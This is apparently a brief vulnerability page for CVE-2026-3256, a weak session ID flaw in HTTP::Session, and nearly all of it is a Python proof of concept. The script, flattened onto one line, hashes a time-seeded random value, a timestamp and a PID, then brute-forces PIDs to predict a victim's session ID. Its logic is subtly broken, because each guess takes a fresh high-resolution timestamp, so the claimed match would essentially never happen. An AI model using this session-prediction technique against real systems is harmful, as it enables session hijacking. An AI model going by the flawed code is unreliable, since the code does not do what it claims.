CVE-2026-3256 HTTP::Session弱会话ID生成漏洞

import hashlib import time import random # Proof of Concept: Simulating the weak session ID generation # This script demonstrates how the entropy of the session ID is reduced # due to predictable PID and time, and weak random seeding. def generate_vulnerable_sid(pid): # Simulate the built-in rand function (often seeded with time in legacy code) # In a real attack, the attacker guesses the seed based on time random.seed(int(time.time())) weak_random = str(random.random()) # High resolution time (can be leaked or guessed) epoch_time = str(time.time()) # PID is usually a small integer (e.g., 1000-32768) pid_str = str(pid) # The vulnerable hashing logic: SHA1(rand + time + PID) data = weak_random + epoch_time + pid_str session_id = hashlib.sha1(data.encode('utf-8')).hexdigest() return session_id # Attack Scenario: Attacker knows the approximate time and guesses the PID print("[+] Simulating Session ID Generation...") real_pid = 1234 victim_sid = generate_vulnerable_sid(real_pid) print(f"[+] Victim's Session ID (PID {real_pid}): {victim_sid}") print("[+] Attacker trying to guess Session ID by iterating PIDs...") # Attacker synchronizes time and tries a range of PIDs guessed_pids = range(1000, 2000) for pid in guessed_pids: # To match the seed, the attacker must be very close in time, # or the rand sequence is predictable. # Here we assume the attacker can synchronize the time. predicted_sid = generate_vulnerable_sid(pid) if predicted_sid == victim_sid: print(f"[!] SUCCESS! Guessed PID: {pid}, Session ID: {predicted_sid}") break